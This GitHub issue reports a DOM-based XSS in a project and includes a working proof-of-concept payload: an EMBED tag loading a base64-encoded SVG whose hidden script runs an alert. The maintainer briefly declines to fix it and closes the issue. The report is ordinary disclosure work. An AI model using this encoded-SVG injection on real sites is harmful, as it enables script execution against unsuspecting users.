Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS vulnerability in <EMBED> label,SVG include attack vector. #20

Closed
0xzmz opened this issue Jul 2, 2019 · 1 comment
Closed

XSS vulnerability in <EMBED> label,SVG include attack vector. #20

0xzmz opened this issue Jul 2, 2019 · 1 comment

Comments

@0xzmz
Copy link

0xzmz commented Jul 2, 2019

This label and attack vector will cause dom-based XSS.
if you type
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhhYVMiKTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>,the xss vulnerability will be triggered.
xss

@phodal
Copy link
Owner

phodal commented Jul 2, 2019

这个是我自己用在微信公众号上的,我自己不会有这种需求。

@phodal phodal closed this as completed Jan 5, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants